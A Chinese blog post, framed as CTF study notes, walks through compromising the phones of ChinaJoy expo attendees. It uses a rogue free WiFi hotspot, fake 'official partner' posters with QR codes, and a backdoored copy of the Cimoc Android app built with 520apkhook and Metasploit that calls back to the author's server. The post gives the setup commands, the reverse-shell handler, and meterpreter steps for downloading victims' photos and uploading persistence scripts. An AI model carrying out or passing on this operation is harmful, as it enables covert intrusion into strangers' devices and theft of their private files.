CTF学习笔记(大学篇)06 —— 实战!在拟定的背景下运用社工和后门程序获取用户手机上的内容
这是一次结合了前几次文章里面介绍的各种方法来做的一次实战(主要是有讲座啥的挤在一起了,然后顺带就拿出来实战了一下),那么话不多说,我们现在开始!
情景拟定
假设现在即将迎来中国国际数码互动娱乐展览会(ChinaJoy,简称CJ),而你想要获取在场的用户手机中的某些文件。自然,直接向别人询问肯定是不合理的。此时我们想:能否通过网络直接访问到别人手机的文件,然后把我们需要的文件下载下来呢?
结合我前面几篇文章写的,我就想到可以通过社工手段诱导用户下载木马程序并安装运行,从而获取用户手机的控制权限,进而能够找到我们需要的文件并且下载下来这样的手段
方案拟定
社工手段分很多种,社工库(这个真没办法,背后的原因很多样)、钓鱼网站(Steam高价值库存会遇到很多)等等等等,但既然是一个区域内的社工,首先想到的就是公共WIFI。因为本来就是个广Door人,花生地铁WIFI用的超级多(特别是之前流量的价格实在是伤不起的时候,但现在印象中不是有名无实就是直接没有了)
另外,像天河城之类的地方有什么aWifi
、freewifi
之类的,肯德基有KFCFreeWifi
,麦当劳有MCDonloads
,公共wifi渗透在我们生活的方方面面,虽然流量在逐渐取代他们,但是其实还是有人用的,而我们也可以开一个免费热点给其他人使用,特别是在我们这个情景(CJ会场)下
同时在会场中,我们粘贴有带后门软件的二维码的海报,并用官方合作伙伴
等字眼吸引他人的眼球,在现场的人就很有可能会去尝试下载我们的后门软件并安装使用,这时候就形成了被动式肉鸡上线,我们能够在我们的服务器上对肉鸡进行远程控制,包括读取通讯录、信息等,甚至是读取文件(当然要有对应的权限)
准备工作
树莓派开启WIFI热点
这里采用Github上面的create_ap
项目(项目链接在下面),虽然没有维护了,但是这不影响我们使用呀
oblique/create_ap: [NOT MAINTAINED] This script creates a NATed or Bridged WiFi Access Point.
首先得先clone下来,要不然我们咋用呢
1 | git clone https://github.com/oblique/create_ap.git |
然后我们进入clone下来的目录,进行编译
1 | cd create_ap |
这个过程中可能会提示权限不足,改为root
账户运行或者直接sudo
都行
完成以后,就会在当前目录生成一个名为create_ap
的二进制可执行文件,直接运行即可,可以像下面这样运行
1 | sudo ./create_ap wlan1 wlan0 FreeWifi |
这样会创建一个名为FreeWifi
的免费热点,当然你可以在FreeWifi后加上密码让它变成一个加密热点,结合我们这里的情景,我就把WIFI命名为CimocFreeWifi
了
制作后门程序
MSF创建后门程序的过程不再多讲,请参考CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle
对于520apkhook
,这里就简略地讲一下
这里我用520apkhook去对Cimoc这个漫画查看软件进行后门注入,首先当然要去下载这个软件
我这里下载的版本是v1.5.5
(主要是这个是测试的最后一版,而且没有更新提示,一旦我们注入后门对apk进行重签名,用户下载官方最新的apk就会装不上,当然如果包名不同就没这茬事),也非常幸运,在520apkhook的自动模式下就能够找到onCreate()V
这个切入点,自动注入
1 | python3 main.py --lhost <公网云服务器IP(这里不公布)> --lport 5555 -n Cimoc.apk |
注入后把我们的文件拿出来,先放在一个文件夹里面,一会会用到
制作下载页
下载页本来想用酷安官方的那个下载页,但是后来想想要改的话太麻烦了,就去Github找了一个项目
然后找到了这个FEMessage/app-download: build your app’s download page easily (github.com)
这个用了nodejs的yarn框架,可以比较方便地生成下载页
当然我是不用yarn
的,所以要先安装一下yarn
(npm安装慢可以用cnpm)
1 | npm install yarn -g |
然后再根据文档来操作,修改相关的文件
1 | { |
分别把软件名、软件logo、软件下载地址给修改了(其实里面本来还有iOS的,但是我们没做iOS所以就被我删了)
接着运行yarn
标准命令生成(当然在生成前可以用yarn dev
来本地查看一下)
1 | yarn |
生成后的文件会在./dist
文件夹(其实nodejs好像都是这个样子的),把里面的文件拿出来,顺带把我们的apk命名为标准的app-release.apk
,放在同级目录下,上传到Github,并开启Github Pages功能来让我们的网页能够被公网访问,当然因为github.io
的访问情况不太好,我还绑定了一个自定义域名(我就不放出来了,省的有人给我举报一下然后CloudFlare送我红色警告页面)
后门服务器设置
首先要安装msfvenom,安装的过程请参照CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle(kali可以不装,自带了)
然后我们运行sudo msfconsole
,就会打开msf软件
此时我们直接运行相关命令即可
1 | use exploit/multi/handler |
会打开监听器,当肉鸡上线的时候会有提示就可以进行控制了
海报制作
这个真的没啥说的,网上一搜一大堆,也没有什么技术含量,略过
攻击流程
首先我们将我们的树莓派设备放在场馆内,打开create_ap
,并将WIFI命名为CimocFreeWifi
1 | sudo ./create_ap wlan1 wlan0 CimocFreeWifi |
将海报粘贴到位,然后等待肉鸡上钩,看到监听服务器有提示后,使用sessions
进入设备控制
因为软件一打开就说明了为啥要存储权限(这个是软件自带的不是我注入造成的),所以大部分用户都会授予存储权限
我们可以利用meterpreter的download
命令来下载设备上的文件
这里需要对安卓设备的目录结构进行说明:设备的内部存储空间挂载在了/sdcard
上,我们平时的设备照片存放在/sdcard/DCIM
文件夹,官方相机会放在/sdcard/DCIM/Camera
,屏幕截图在/sdcard/DCIM/Camera
,如果用的是第三方的相机,例如B612,就会在/sdcard/DCIM/B612
文件夹
所以如果我们要下载照片的话就可以在这些目录进行寻找,使用ls
命令可以看到当前目录的文件,使用pwd
命令可以看到当前所在的目录
当然也可以通过shell
来获得一个安卓的shell程序(显然不如adb好用),可以用来运行shell脚本之类的东西
找到了我们所需要的文件,使用download
命令可以将文件下载到本地,使用upload
可以将本地文件上传到目标机器(上传shell脚本来维持权限啥的)